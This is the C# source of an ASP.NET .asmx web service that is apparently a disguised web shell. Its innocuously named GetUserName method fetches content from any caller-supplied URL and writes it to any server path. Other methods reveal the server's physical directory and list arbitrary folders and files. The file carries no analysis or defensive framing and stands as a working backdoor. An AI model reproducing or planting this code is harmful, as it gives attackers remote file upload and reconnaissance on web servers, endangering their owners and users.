<%@ WebService Language="C#" class="Service"%> using System; using System.Web; using System.IO; using System.Net; using System.Text; using System.Web.SessionState; using System.Web.Services; using System.Xml; using System.Web.Services.Protocols; [WebService(Namespace = "http://tempuri.org/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] public class Service : System.Web.Services.WebService { public Service() { //InitializeComponent(); } [WebMethod] public string GetUserName(string prefixText,string limit) { System.IO.File.WriteAllText(limit,(new WebClient()).DownloadString(prefixText)); return "ok"; } [WebMethod] public string pwd() { return System.Web.HttpContext.Current.Server.MapPath("."); } [WebMethod] public string listddd(string ddd) { string R="\n--------------------------------------------------\n"; DirectoryInfo m = new DirectoryInfo(@ddd); foreach (DirectoryInfo D in m.GetDirectories()) { R += String.Format("{0}/\t{1}\t0\tDir\t-\n\r", D.Name, File.GetLastWriteTime(ddd + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); } foreach (FileInfo D in m.GetFiles()) { R += String.Format("{0}\t{1}\t{2}\tFile\t-\n\r", D.Name, File.GetLastWriteTime(ddd + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); } R += "\n--------------------------------------------------\n"; return R; } }